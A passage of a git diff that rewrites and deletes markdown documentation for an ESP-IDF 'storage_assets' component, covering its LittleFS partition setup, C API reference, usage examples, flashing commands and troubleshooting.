+littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) +``` + +This automatically flashes the `assets/` folder content when running `idf.py flash`. + +### Option 2: Manual Flash + +```bash +# Build the assets partition image +idf.py build + +# Flash everything including assets +idf.py flash + +# Or flash only assets partition +esptool.py write_flash 0x110000 build/assets.bin +``` + +**Note:** Replace `0x110000` with the actual offset from your partition table. + +### Asset Folder Structure + +``` +project/ +├── assets/ +│ ├── logo.bin +│ ├── config_template.json +│ ├── fonts/ +│ │ ├── arial.ttf +│ │ └── mono.ttf +│ └── images/ +│ ├── icon_wifi.bin +│ └── icon_battery.bin +└── main/ + └── main.c +``` + +--- + +## Troubleshooting + +### "Partition 'assets' not found" + +**Problem:** The assets partition is not defined in the partition table. + +**Solution:** +1. Add partition to `partitions.csv`: + ```csv + assets, data, spiffs, 0x110000, 512K, + ``` +2. Set partition table in `sdkconfig`: + ``` + CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" + CONFIG_PARTITION_TABLE_CUSTOM=y + ``` +3. Rebuild: `idf.py fullclean && idf.py build` + +--- + +### "(empty - partition has no files!)" + +**Problem:** Assets partition exists but contains no files. + +**Solution:** +1. Create `assets/` folder in project root +2. Add files to the folder +3. Enable automatic flash in `CMakeLists.txt`: + ```cmake + littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) + ``` +4. Rebuild and flash: `idf.py flash` + +--- + +### "Failed to allocate memory" + +**Problem:** Insufficient heap for large asset file. + +**Solutions:** +- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` +- Read file in chunks instead of loading entirely +- Increase heap size in `sdkconfig`: + ``` + CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 + CONFIG_FREERTOS_HZ=1000 + ``` + +--- + +### File Not Found at Runtime + +**Problem:** File exists in assets folder but not found at runtime. + +**Checklist:** +- [ ] Is partition flashed? (`idf.py flash`) +- [ ] Is filename correct? (case-sensitive!) +- [ ] Is `storage_assets_init()` called before reading? +- [ ] Check `storage_assets_print_info()` output - does it list your file? + +--- + +## Performance Considerations + +- **Initialization:** Takes 100-500ms depending on partition size and file count. +- **File Reading:** LittleFS is optimized for small files (< 1MB). +- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. +- **Large Files:** For files > 100KB, consider chunked reading instead of full load. + +--- + +## Best Practices + +1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. +2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. +3. **Validate Sizes:** Always check file sizes match expected values. +4. **Free Memory:** Always `free()` pointers returned by `load_file()`. +5. **Handle Errors:** Never assume assets are present - always validate return codes. +6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). +7. **Version Assets:** Include version info in filenames or metadata for updates. +--- + +# C5 + +This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. + +## Overview + +- **Location:** `components/storage/storage_assets/` +- **Main Header:** `include/storage_assets.h` +- **Implementation:** `storage_assets.c` +- **Dependencies:** `esp_littlefs`, `esp_vfs` +- **Partition:** `assets` (LittleFS, read-only in production) + +## Key Features + +- **Dedicated Partition:** Separate from application code and main storage. +- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. +- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. +- **Auto-Discovery:** Automatically lists all files in partition on initialization. +- **Memory Management:** Helper function to load entire files with automatic allocation. +- **Directory Traversal:** Recursive directory listing for debugging. + +## Typical Use Cases + +- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. +- **Fonts:** Pre-compiled font files for text rendering. +- **Configuration Templates:** Default configuration files. +- **Audio Samples:** Short sound effects or melodies. +- **IR/RF Databases:** Preloaded signal databases. +- **Firmware Resources:** Any read-only data needed by the application. + +## Configuration + +### Partition Table + +The assets partition must be defined in your partition table (`partitions.csv`): + +```csv +# Name, Type, SubType, Offset, Size, Flags +nvs, data, nvs, 0x9000, 0x6000, +phy_init, data, phy, 0xf000, 0x1000, +factory, app, factory, 0x10000, 1M, +assets, data, spiffs, 0x110000, 512K, +storage, data, spiffs, 0x190000, 1M, +``` + +**Important Notes:** +- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). +- Size should be sufficient for all your assets (adjust as needed). +- The partition must be flashed before use. + +### Constants + +```c +#define ASSETS_MOUNT_POINT "/assets" +#define ASSETS_PARTITION_LABEL "assets" +``` + +These are defined internally and cannot be changed without modifying the source. + +--- + +## API Reference + +### Initialization + +#### `storage_assets_init` + +```c +esp_err_t storage_assets_init(void); +``` + +Initializes and mounts the assets partition. Must be called before any other asset operations. + +**Behavior:** +- Mounts the LittleFS partition at `/assets`. +- Formats the partition if mounting fails (useful for first flash). +- Lists all files in the partition for debugging. +- Displays partition size and usage statistics. + +**Returns:** +- `ESP_OK` - Assets partition mounted successfully. +- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. +- `ESP_FAIL` - Mount or format failed. +- `ESP_ERR_INVALID_STATE` - Already initialized. + +**Example:** +```c +void app_main(void) { + esp_err_t ret = storage_assets_init(); + if (ret == ESP_OK) { + printf("Assets ready!\n"); + } else if (ret == ESP_ERR_NOT_FOUND) { + printf("ERROR: 'assets' partition not found!\n"); + printf("Check your partition table.\n"); + } else { + printf("Assets init failed: %s\n", esp_err_to_name(ret)); + } +} +``` + +**Console Output Example:** +``` +I (1234) storage_assets: Initializing LittleFS for assets partition +I (1245) storage_assets: Assets ready at /assets +I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes +I (1247) storage_assets: === Files in assets partition === +I (1248) storage_assets: [1] logo.bin (1200 bytes) +I (1249) storage_assets: [DIR] fonts/ +I (1250) storage_assets: [2] arial.ttf (45000 bytes) +I (1251) storage_assets: [3] config_template.json (567 bytes) +I (1252) storage_assets: Total: 3 file(s), 1 dir(s) +I (1253) storage_assets: ================================ +``` + +--- + +#### `storage_assets_deinit` + +```c +esp_err_t storage_assets_deinit(void); +``` + +Unmounts the assets partition and releases resources. + +**Returns:** +- `ESP_OK` - Unmounted successfully. +- `ESP_ERR_INVALID_STATE` - Not initialized. + +**Example:** +```c +// Before system shutdown +storage_assets_deinit(); +``` + +--- + +#### `storage_assets_is_mounted` + +```c +bool storage_assets_is_mounted(void); +``` + +Checks if the assets partition is currently mounted. + +**Returns:** +- `true` - Partition is mounted and ready. +- `false` - Partition is not mounted. + +**Example:** +```c +if (!storage_assets_is_mounted()) { + storage_assets_init(); +} +``` + +--- + +### File Access + +#### `storage_assets_get_file_size` + +```c +esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); +``` + +Gets the size of a file in the assets partition without reading it. + +**Parameters:** +- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). +- `out_size` - Pointer to store file size in bytes. + +**Returns:** +- `ESP_OK` - Size retrieved successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - NULL parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +size_t logo_size; +if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { + printf("Logo is %zu bytes\n", logo_size); + + // Allocate buffer of exact size + uint8_t *buffer = malloc(logo_size); +} +``` + +--- + +#### `storage_assets_read_file` + +```c +esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); +``` + +Reads file content into a pre-allocated buffer. + +**Parameters:** +- `filename` - Name of the file. +- `buffer` - Pre-allocated buffer to receive data. +- `size` - Maximum bytes to read (buffer size). +- `out_read` - Pointer to store actual bytes read (can be NULL). + +**Returns:** +- `ESP_OK` - File read successfully. +- `ESP_ERR_INVALID_STATE` - Assets not initialized. +- `ESP_ERR_INVALID_ARG` - Invalid parameters. +- `ESP_ERR_NOT_FOUND` - File doesn't exist. + +**Example:** +```c +uint8_t buffer[2048]; +size_t bytes_read; + +esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); +if (ret == ESP_OK) { + buffer[bytes_read] = '\0'; // Null-terminate if text + printf("Config: %s\n", (char *)buffer); +} else { + printf("Failed to read config: %s\n", esp_err_to_name(ret)); +} +``` + +--- + +#### `storage_assets_load_file` + +```c +uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); +``` + +Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** + +**Parameters:** +- `filename` - Name of the file. +- `out_size` - Pointer to store file size (can be NULL). + +**Returns:** +- Pointer to allocated buffer containing file data. +- `NULL` on error (allocation failure, file not found, etc.). + +**Example:** +```c +size_t image_size; +uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); + +if (image_data != NULL) { + // Use the image data + display_draw_bitmap(image_data, image_size); + + // IMPORTANT: Free when done! + free(image_data); +} else { + printf("Failed to load splash screen\n"); +} +``` + +**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. + +--- + +### Utility Functions + +#### `storage_assets_get_mount_point` + +```c +const char* storage_assets_get_mount_point(void); +``` + +Returns the mount point path for the assets partition. + +**Returns:** +- Constant string "/assets". + +**Example:** +```c +const char *mount = storage_assets_get_mount_point(); + +// Construct full path +char full_path[128]; +snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); + +// Use with standard file operations +FILE *f = fopen(full_path, "r"); +``` + +--- + +#### `storage_assets_print_info` + +```c +void storage_assets_print_info(void); +``` + +Prints detailed information about the assets partition to the console. + +**Parameters:** None + +**Returns:** Nothing (void) + +**Example Output:** +``` +I (1234) storage_assets: === Assets Partition Info === +I (1235) storage_assets: Mount point: /assets +I (1236) storage_assets: Partition: assets +I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) +I (1238) storage_assets: Used: 98765 bytes (96.45 KB) +I (1239) storage_assets: Free: 425523 bytes (415.55 KB) +I (1240) storage_assets: Usage: 18.8% +``` + +**Usage:** +```c +// During debugging or diagnostics +storage_assets_print_info(); +``` + +--- + +## Implementation Details + +### Directory Listing + +The component includes a recursive directory listing function that runs automatically during initialization: + +```c +static void list_directory_recursive(const char *path, const char *prefix, + int *file_count, int *dir_count); +``` + +This helps during development to verify that assets were flashed correctly. + +### Path Handling + +All file operations internally prepend the mount point: + +```c +// User provides: "logo.bin" +// Internally becomes: "/assets/logo.bin" +``` + +Subdirectories are supported: +```c +// User provides: "fonts/arial.ttf" +// Internally becomes: "/assets/fonts/arial.ttf" +``` + +### Error Handling + +All functions validate: +- Initialization state +- Parameter validity +- File existence +- Memory allocation success + +Always check return values to ensure robust operation. + +--- + +## Usage Patterns + +### Loading a Bitmap for Display + +```c +void display_splash_screen(void) { + size_t image_size; + uint8_t *image = storage_assets_load_file("splash.bin", &image_size); + + if (image == NULL) { + ESP_LOGE(TAG, "Failed to load splash screen"); + return; + } + + // Expected format: 128x64 monochrome bitmap + if (image_size != (128 * 64) / 8) { + ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); + } + + // Send to display + oled_draw_bitmap(0, 0, image, 128, 64); + + // Clean up + free(image); +} +``` + +--- + +### Loading Configuration Template + +```c +cJSON* load_default_config(void) { + uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); + if (json_data == NULL) { + return NULL; + } + + cJSON *config = cJSON_Parse((const char *)json_data); + free(json_data); + + return config; +} +``` + +--- + +### Preloading Assets at Boot + +```c +typedef struct { + uint8_t *logo_data; + size_t logo_size; + uint8_t *font_data; + size_t font_size; +} app_assets_t; + +app_assets_t g_assets = {0}; + +esp_err_t preload_assets(void) { + // Load logo + g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); + if (g_assets.logo_data == NULL) { + return ESP_FAIL; + } + + // Load font + g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); + if (g_assets.font_data == NULL) { + free(g_assets.logo_data); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", + g_assets.logo_size, g_assets.font_size); + + return ESP_OK; +} + +void cleanup_assets(void) { + free(g_assets.logo_data); + free(g_assets.font_data); + memset(&g_assets, 0, sizeof(g_assets)); +} +``` + +--- + +### Chunked Reading for Large Files + +```c +esp_err_t process_large_asset(const char *filename) { + FILE *f = fopen("/assets/large_file.dat", "rb"); + if (!f) { + return ESP_FAIL; + } + + uint8_t chunk[512]; + size_t bytes_read; + + while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { + // Process chunk + process_data(chunk, bytes_read); + } + + fclose(f); + return ESP_OK; +} +``` + +--- + +### Conditional Asset Loading + +```c +void load_language_assets(const char *language) { + char filename[64]; + snprintf(filename, sizeof(filename), "strings_%s.json", language); + + uint8_t *strings = storage_assets_load_file(filename, NULL); + if (strings == NULL) { + ESP_LOGW(TAG, "Language '%s' not found, using default", language); + strings = storage_assets_load_file("strings_en.json", NULL); + } + + if (strings != NULL) { + parse_language_strings((const char *)strings); + free(strings); + } +} +``` + +--- + +## Flashing Assets + +### Option 1: Automatic (Recommended) + +Add to your `CMakeLists.txt`: + +```cmake +# Create assets partition image from 'assets' folder +littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) +``` + +This automatically flashes the `assets/` folder content when running `idf.py flash`. + +### Option 2: Manual Flash + +```bash +# Build the assets partition image +idf.py build + +# Flash everything including assets +idf.py flash + +# Or flash only assets partition +esptool.py write_flash 0x110000 build/assets.bin +``` + +**Note:** Replace `0x110000` with the actual offset from your partition table. + +### Asset Folder Structure + +``` +project/ +├── assets/ +│ ├── logo.bin +│ ├── config_template.json +│ ├── fonts/ +│ │ ├── arial.ttf +│ │ └── mono.ttf +│ └── images/ +│ ├── icon_wifi.bin +│ └── icon_battery.bin +└── main/ + └── main.c +``` + +--- + +## Troubleshooting + +### "Partition 'assets' not found" + +**Problem:** The assets partition is not defined in the partition table. + +**Solution:** +1. Add partition to `partitions.csv`: + ```csv + assets, data, spiffs, 0x110000, 512K, + ``` +2. Set partition table in `sdkconfig`: + ``` + CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" + CONFIG_PARTITION_TABLE_CUSTOM=y + ``` +3. Rebuild: `idf.py fullclean && idf.py build` + +--- + +### "(empty - partition has no files!)" + +**Problem:** Assets partition exists but contains no files. + +**Solution:** +1. Create `assets/` folder in project root +2. Add files to the folder +3. Enable automatic flash in `CMakeLists.txt`: + ```cmake + littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) + ``` +4. Rebuild and flash: `idf.py flash` + +--- + +### "Failed to allocate memory" + +**Problem:** Insufficient heap for large asset file. + +**Solutions:** +- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` +- Read file in chunks instead of loading entirely +- Increase heap size in `sdkconfig`: + ``` + CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 + CONFIG_FREERTOS_HZ=1000 + ``` + +--- + +### File Not Found at Runtime + +**Problem:** File exists in assets folder but not found at runtime. + +**Checklist:** +- [ ] Is partition flashed? (`idf.py flash`) +- [ ] Is filename correct? (case-sensitive!) +- [ ] Is `storage_assets_init()` called before reading? +- [ ] Check `storage_assets_print_info()` output - does it list your file? + +--- + +## Performance Considerations + +- **Initialization:** Takes 100-500ms depending on partition size and file count. +- **File Reading:** LittleFS is optimized for small files (< 1MB). +- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. +- **Large Files:** For files > 100KB, consider chunked reading instead of full load. + +--- + +## Best Practices + +1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. +2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. +3. **Validate Sizes:** Always check file sizes match expected values. +4. **Free Memory:** Always `free()` pointers returned by `load_file()`. +5. **Handle Errors:** Never assume assets are present - always validate return codes. +6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). +7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file diff --git a/docs/storage_assets/c5.md b/docs/storage_assets/c5.md deleted file mode 100644 index 0eb3d7cff..000000000 --- a/docs/storage_assets/c5.md +++ /dev/null @@ -1,621 +0,0 @@ -# Storage Assets Component - -This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. - -## Overview - -- **Location:** `components/storage/storage_assets/` -- **Main Header:** `include/storage_assets.h` -- **Implementation:** `storage_assets.c` -- **Dependencies:** `esp_littlefs`, `esp_vfs` -- **Partition:** `assets` (LittleFS, read-only in production) - -## Key Features - -- **Dedicated Partition:** Separate from application code and main storage. -- **LittleFS Backend:** Efficient wear-leveling filesystem optimized for flash. -- **Read-Only Access:** Assets are flashed once and cannot be modified at runtime. -- **Auto-Discovery:** Automatically lists all files in partition on initialization. -- **Memory Management:** Helper function to load entire files with automatic allocation. -- **Directory Traversal:** Recursive directory listing for debugging. - -## Typical Use Cases - -- **Graphical Assets:** Logos, icons, sprites, bitmaps for displays. -- **Fonts:** Pre-compiled font files for text rendering. -- **Configuration Templates:** Default configuration files. -- **Audio Samples:** Short sound effects or melodies. -- **IR/RF Databases:** Preloaded signal databases. -- **Firmware Resources:** Any read-only data needed by the application. - -## Configuration - -### Partition Table - -The assets partition must be defined in your partition table (`partitions.csv`): - -```csv -# Name, Type, SubType, Offset, Size, Flags -nvs, data, nvs, 0x9000, 0x6000, -phy_init, data, phy, 0xf000, 0x1000, -factory, app, factory, 0x10000, 1M, -assets, data, spiffs, 0x110000, 512K, -storage, data, spiffs, 0x190000, 1M, -``` - -**Important Notes:** -- The SubType must be `spiffs` (even though we use LittleFS - this is an ESP-IDF quirk). -- Size should be sufficient for all your assets (adjust as needed). -- The partition must be flashed before use. - -### Constants - -```c -#define ASSETS_MOUNT_POINT "/assets" -#define ASSETS_PARTITION_LABEL "assets" -``` - -These are defined internally and cannot be changed without modifying the source. - ---- - -## API Reference - -### Initialization - -#### `storage_assets_init` - -```c -esp_err_t storage_assets_init(void); -``` - -Initializes and mounts the assets partition. Must be called before any other asset operations. - -**Behavior:** -- Mounts the LittleFS partition at `/assets`. -- Formats the partition if mounting fails (useful for first flash). -- Lists all files in the partition for debugging. -- Displays partition size and usage statistics. - -**Returns:** -- `ESP_OK` - Assets partition mounted successfully. -- `ESP_ERR_NOT_FOUND` - Partition 'assets' not found in partition table. -- `ESP_FAIL` - Mount or format failed. -- `ESP_ERR_INVALID_STATE` - Already initialized. - -**Example:** -```c -void app_main(void) { - esp_err_t ret = storage_assets_init(); - if (ret == ESP_OK) { - printf("Assets ready!\n"); - } else if (ret == ESP_ERR_NOT_FOUND) { - printf("ERROR: 'assets' partition not found!\n"); - printf("Check your partition table.\n"); - } else { - printf("Assets init failed: %s\n", esp_err_to_name(ret)); - } -} -``` - -**Console Output Example:** -``` -I (1234) storage_assets: Initializing LittleFS for assets partition -I (1245) storage_assets: Assets ready at /assets -I (1246) storage_assets: Partition size: 524288 bytes, used: 12345 bytes -I (1247) storage_assets: === Files in assets partition === -I (1248) storage_assets: [1] logo.bin (1200 bytes) -I (1249) storage_assets: [DIR] fonts/ -I (1250) storage_assets: [2] arial.ttf (45000 bytes) -I (1251) storage_assets: [3] config_template.json (567 bytes) -I (1252) storage_assets: Total: 3 file(s), 1 dir(s) -I (1253) storage_assets: ================================ -``` - ---- - -#### `storage_assets_deinit` - -```c -esp_err_t storage_assets_deinit(void); -``` - -Unmounts the assets partition and releases resources. - -**Returns:** -- `ESP_OK` - Unmounted successfully. -- `ESP_ERR_INVALID_STATE` - Not initialized. - -**Example:** -```c -// Before system shutdown -storage_assets_deinit(); -``` - ---- - -#### `storage_assets_is_mounted` - -```c -bool storage_assets_is_mounted(void); -``` - -Checks if the assets partition is currently mounted. - -**Returns:** -- `true` - Partition is mounted and ready. -- `false` - Partition is not mounted. - -**Example:** -```c -if (!storage_assets_is_mounted()) { - storage_assets_init(); -} -``` - ---- - -### File Access - -#### `storage_assets_get_file_size` - -```c -esp_err_t storage_assets_get_file_size(const char *filename, size_t *out_size); -``` - -Gets the size of a file in the assets partition without reading it. - -**Parameters:** -- `filename` - Name of the file (e.g., "logo.bin", "fonts/arial.ttf"). -- `out_size` - Pointer to store file size in bytes. - -**Returns:** -- `ESP_OK` - Size retrieved successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - NULL parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -size_t logo_size; -if (storage_assets_get_file_size("logo.bin", &logo_size) == ESP_OK) { - printf("Logo is %zu bytes\n", logo_size); - - // Allocate buffer of exact size - uint8_t *buffer = malloc(logo_size); -} -``` - ---- - -#### `storage_assets_read_file` - -```c -esp_err_t storage_assets_read_file(const char *filename, uint8_t *buffer, size_t size, size_t *out_read); -``` - -Reads file content into a pre-allocated buffer. - -**Parameters:** -- `filename` - Name of the file. -- `buffer` - Pre-allocated buffer to receive data. -- `size` - Maximum bytes to read (buffer size). -- `out_read` - Pointer to store actual bytes read (can be NULL). - -**Returns:** -- `ESP_OK` - File read successfully. -- `ESP_ERR_INVALID_STATE` - Assets not initialized. -- `ESP_ERR_INVALID_ARG` - Invalid parameters. -- `ESP_ERR_NOT_FOUND` - File doesn't exist. - -**Example:** -```c -uint8_t buffer[2048]; -size_t bytes_read; - -esp_err_t ret = storage_assets_read_file("config.json", buffer, sizeof(buffer), &bytes_read); -if (ret == ESP_OK) { - buffer[bytes_read] = '\0'; // Null-terminate if text - printf("Config: %s\n", (char *)buffer); -} else { - printf("Failed to read config: %s\n", esp_err_to_name(ret)); -} -``` - ---- - -#### `storage_assets_load_file` - -```c -uint8_t* storage_assets_load_file(const char *filename, size_t *out_size); -``` - -Loads an entire file into dynamically allocated memory. **Caller must free() the returned pointer.** - -**Parameters:** -- `filename` - Name of the file. -- `out_size` - Pointer to store file size (can be NULL). - -**Returns:** -- Pointer to allocated buffer containing file data. -- `NULL` on error (allocation failure, file not found, etc.). - -**Example:** -```c -size_t image_size; -uint8_t *image_data = storage_assets_load_file("splash_screen.bin", &image_size); - -if (image_data != NULL) { - // Use the image data - display_draw_bitmap(image_data, image_size); - - // IMPORTANT: Free when done! - free(image_data); -} else { - printf("Failed to load splash screen\n"); -} -``` - -**Memory Warning:** This function allocates heap memory. Ensure sufficient heap is available before loading large files. - ---- - -### Utility Functions - -#### `storage_assets_get_mount_point` - -```c -const char* storage_assets_get_mount_point(void); -``` - -Returns the mount point path for the assets partition. - -**Returns:** -- Constant string "/assets". - -**Example:** -```c -const char *mount = storage_assets_get_mount_point(); - -// Construct full path -char full_path[128]; -snprintf(full_path, sizeof(full_path), "%s/%s", mount, "config.json"); - -// Use with standard file operations -FILE *f = fopen(full_path, "r"); -``` - ---- - -#### `storage_assets_print_info` - -```c -void storage_assets_print_info(void); -``` - -Prints detailed information about the assets partition to the console. - -**Parameters:** None - -**Returns:** Nothing (void) - -**Example Output:** -``` -I (1234) storage_assets: === Assets Partition Info === -I (1235) storage_assets: Mount point: /assets -I (1236) storage_assets: Partition: assets -I (1237) storage_assets: Total size: 524288 bytes (512.00 KB) -I (1238) storage_assets: Used: 98765 bytes (96.45 KB) -I (1239) storage_assets: Free: 425523 bytes (415.55 KB) -I (1240) storage_assets: Usage: 18.8% -``` - -**Usage:** -```c -// During debugging or diagnostics -storage_assets_print_info(); -``` - ---- - -## Implementation Details - -### Directory Listing - -The component includes a recursive directory listing function that runs automatically during initialization: - -```c -static void list_directory_recursive(const char *path, const char *prefix, - int *file_count, int *dir_count); -``` - -This helps during development to verify that assets were flashed correctly. - -### Path Handling - -All file operations internally prepend the mount point: - -```c -// User provides: "logo.bin" -// Internally becomes: "/assets/logo.bin" -``` - -Subdirectories are supported: -```c -// User provides: "fonts/arial.ttf" -// Internally becomes: "/assets/fonts/arial.ttf" -``` - -### Error Handling - -All functions validate: -- Initialization state -- Parameter validity -- File existence -- Memory allocation success - -Always check return values to ensure robust operation. - ---- - -## Usage Patterns - -### Loading a Bitmap for Display - -```c -void display_splash_screen(void) { - size_t image_size; - uint8_t *image = storage_assets_load_file("splash.bin", &image_size); - - if (image == NULL) { - ESP_LOGE(TAG, "Failed to load splash screen"); - return; - } - - // Expected format: 128x64 monochrome bitmap - if (image_size != (128 * 64) / 8) { - ESP_LOGW(TAG, "Unexpected image size: %zu", image_size); - } - - // Send to display - oled_draw_bitmap(0, 0, image, 128, 64); - - // Clean up - free(image); -} -``` - ---- - -### Loading Configuration Template - -```c -cJSON* load_default_config(void) { - uint8_t *json_data = storage_assets_load_file("config_template.json", NULL); - if (json_data == NULL) { - return NULL; - } - - cJSON *config = cJSON_Parse((const char *)json_data); - free(json_data); - - return config; -} -``` - ---- - -### Preloading Assets at Boot - -```c -typedef struct { - uint8_t *logo_data; - size_t logo_size; - uint8_t *font_data; - size_t font_size; -} app_assets_t; - -app_assets_t g_assets = {0}; - -esp_err_t preload_assets(void) { - // Load logo - g_assets.logo_data = storage_assets_load_file("logo.bin", &g_assets.logo_size); - if (g_assets.logo_data == NULL) { - return ESP_FAIL; - } - - // Load font - g_assets.font_data = storage_assets_load_file("font.bin", &g_assets.font_size); - if (g_assets.font_data == NULL) { - free(g_assets.logo_data); - return ESP_FAIL; - } - - ESP_LOGI(TAG, "Assets preloaded (%zu + %zu bytes)", - g_assets.logo_size, g_assets.font_size); - - return ESP_OK; -} - -void cleanup_assets(void) { - free(g_assets.logo_data); - free(g_assets.font_data); - memset(&g_assets, 0, sizeof(g_assets)); -} -``` - ---- - -### Chunked Reading for Large Files - -```c -esp_err_t process_large_asset(const char *filename) { - FILE *f = fopen("/assets/large_file.dat", "rb"); - if (!f) { - return ESP_FAIL; - } - - uint8_t chunk[512]; - size_t bytes_read; - - while ((bytes_read = fread(chunk, 1, sizeof(chunk), f)) > 0) { - // Process chunk - process_data(chunk, bytes_read); - } - - fclose(f); - return ESP_OK; -} -``` - ---- - -### Conditional Asset Loading - -```c -void load_language_assets(const char *language) { - char filename[64]; - snprintf(filename, sizeof(filename), "strings_%s.json", language); - - uint8_t *strings = storage_assets_load_file(filename, NULL); - if (strings == NULL) { - ESP_LOGW(TAG, "Language '%s' not found, using default", language); - strings = storage_assets_load_file("strings_en.json", NULL); - } - - if (strings != NULL) { - parse_language_strings((const char *)strings); - free(strings); - } -} -``` - ---- - -## Flashing Assets - -### Option 1: Automatic (Recommended) - -Add to your `CMakeLists.txt`: - -```cmake -# Create assets partition image from 'assets' folder -littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) -``` - -This automatically flashes the `assets/` folder content when running `idf.py flash`. - -### Option 2: Manual Flash - -```bash -# Build the assets partition image -idf.py build - -# Flash everything including assets -idf.py flash - -# Or flash only assets partition -esptool.py write_flash 0x110000 build/assets.bin -``` - -**Note:** Replace `0x110000` with the actual offset from your partition table. - -### Asset Folder Structure - -``` -project/ -├── assets/ -│ ├── logo.bin -│ ├── config_template.json -│ ├── fonts/ -│ │ ├── arial.ttf -│ │ └── mono.ttf -│ └── images/ -│ ├── icon_wifi.bin -│ └── icon_battery.bin -└── main/ - └── main.c -``` - ---- - -## Troubleshooting - -### "Partition 'assets' not found" - -**Problem:** The assets partition is not defined in the partition table. - -**Solution:** -1. Add partition to `partitions.csv`: - ```csv - assets, data, spiffs, 0x110000, 512K, - ``` -2. Set partition table in `sdkconfig`: - ``` - CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv" - CONFIG_PARTITION_TABLE_CUSTOM=y - ``` -3. Rebuild: `idf.py fullclean && idf.py build` - ---- - -### "(empty - partition has no files!)" - -**Problem:** Assets partition exists but contains no files. - -**Solution:** -1. Create `assets/` folder in project root -2. Add files to the folder -3. Enable automatic flash in `CMakeLists.txt`: - ```cmake - littlefs_create_partition_image(assets assets FLASH_IN_PROJECT) - ``` -4. Rebuild and flash: `idf.py flash` - ---- - -### "Failed to allocate memory" - -**Problem:** Insufficient heap for large asset file. - -**Solutions:** -- Use `storage_assets_read_file()` with pre-allocated buffer instead of `load_file()` -- Read file in chunks instead of loading entirely -- Increase heap size in `sdkconfig`: - ``` - CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=4096 - CONFIG_FREERTOS_HZ=1000 - ``` - ---- - -### File Not Found at Runtime - -**Problem:** File exists in assets folder but not found at runtime. - -**Checklist:** -- [ ] Is partition flashed? (`idf.py flash`) -- [ ] Is filename correct? (case-sensitive!) -- [ ] Is `storage_assets_init()` called before reading? -- [ ] Check `storage_assets_print_info()` output - does it list your file? - ---- - -## Performance Considerations - -- **Initialization:** Takes 100-500ms depending on partition size and file count. -- **File Reading:** LittleFS is optimized for small files (< 1MB). -- **Memory:** `load_file()` allocates heap - monitor with `esp_get_free_heap_size()`. -- **Large Files:** For files > 100KB, consider chunked reading instead of full load. - ---- - -## Best Practices - -1. **Keep Assets Small:** LittleFS works best with many small files rather than few large ones. -2. **Compress When Possible:** Pre-compress assets (e.g., PNG → binary bitmap) before flashing. -3. **Validate Sizes:** Always check file sizes match expected values. -4. **Free Memory:** Always `free()` pointers returned by `load_file()`. -5. **Handle Errors:** Never assume assets are present - always validate return codes. -6. **Use Subdirectories:** Organize assets logically (fonts/, images/, sounds/). -7. **Version Assets:** Include version info in filenames or metadata for updates. \ No newline at end of file diff --git a/docs/storage_assets/p4.md b/docs/storage_assets/p4.md deleted file mode 100644 index cecae0af5..000000000 --- a/docs/storage_assets/p4.md +++ /dev/null @@ -1,621 +0,0 @@ -# Storage Assets Component - -This component provides read-only access to a dedicated LittleFS partition for storing static application assets like images, fonts, configuration files, and other resources that are flashed with the firmware. - -## Overview - -- **Location:** `components/Service/storage_assets/` -- **Main Header:** `include/storage_assets.h` -- **Implementation:** `storage_assets.c` -- **Dependencies:** `esp_littlefs`, `esp_vfs` -- **Partition:** `assets` (LittleFS, 